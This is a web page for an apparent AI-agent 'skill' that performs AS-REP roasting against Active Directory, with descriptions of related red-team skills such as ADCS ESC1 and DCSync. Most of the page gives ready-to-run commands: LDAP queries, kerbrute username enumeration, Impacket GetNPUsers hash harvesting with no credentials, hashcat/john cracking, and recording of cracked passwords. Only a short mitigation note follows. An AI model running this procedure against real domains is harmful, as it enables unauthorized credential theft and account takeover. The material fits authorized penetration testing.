asrep-roasting
Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
القائمة
Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.
Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.
BloodHound ingestion + canonical Cypher queries for AD attack-path enumeration. Run after collector dumps zip; promotes findings into the knowledge graph.
NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.
Active Directory attack lane — BloodHound ingestion, Kerberoasting, ADCS ESC scanning, DCSync, LAPS extraction.
Red team engagement lifecycle management — initiation, phase transitions, go/no-go gates, deconfliction, emergency procedures, completion.
| name | asrep-roasting |
| description | Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required. |
| metadata | {"subdomain":"active-directory","when_to_use":"asrep as-rep roasting kerberos pre-auth dontreqpreauth"} |
None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).
From BloodHound:
kg_query(kind="user", filter="dontreqpreauth=true and enabled=true")
Direct LDAP (if you have any cred or anonymous-bind allowed):
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
sAMAccountName
Or brute-force user discovery (only when no LDAP access):
# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt
Impacket (zero-auth path):
GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
-format hashcat -no-pass -outputfile /tmp/asrep.hashes
With creds (more reliable, also enum):
GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-format hashcat -outputfile /tmp/asrep.hashes
Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).
hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes
AS-REP-roastable users tend to be:
Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.
Without LDAP, your userlist comes from:
kerbrute userenum against common lists (jsmith.txt, statistically-common-usernames)firstname.lastname, flastname)kg_add_node(kind="credential", label="USER:CRACKED_PW",
props={"source":"asrep-roast","preauth":"disabled"})
Pre-Authentication Type=0 (no preauth)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0
(PR:N because no creds needed)Remove DONT_REQ_PREAUTH flag:
Set-ADAccountControl -Identity USER -DoesNotRequirePreAuth $false
Audit policy: UserAccountControl & 0x400000 should be zero on all real users.